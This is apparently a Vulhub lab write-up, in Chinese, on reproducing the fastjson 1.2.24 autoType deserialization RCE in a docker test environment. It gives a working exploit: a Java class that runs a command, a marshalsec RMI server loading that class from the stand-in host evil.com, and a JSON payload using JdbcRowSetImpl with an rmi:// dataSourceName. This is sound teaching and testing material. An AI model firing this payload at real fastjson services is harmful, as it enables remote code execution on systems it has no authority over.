fastjson 1.2.24 反序列化導致任意命令執行漏洞
Path fastjson/1.2.24-rce
fastjson在解析json的過程中,支持使用autoType來實例化某一個具體的類,并調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。
參考資料:
- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
漏洞環境
運行測試環境:
docker-compose up -d
環境運行后,訪問http://your-ip:8090即可看到JSON格式的輸出。
我們向這個地址POST一個JSON對象,即可更新服務端的信息:
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
漏洞復現
因為目標環境是Java 8u102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來執行命令。
首先編譯并上傳命令執行代碼,如http://evil.com/TouchFile.class:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,并制定加載遠程類TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
向靶場服務器發送Payload,帶上RMI的地址:
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}
可見,命令touch /tmp/success已成功執行:

Vulhub 文檔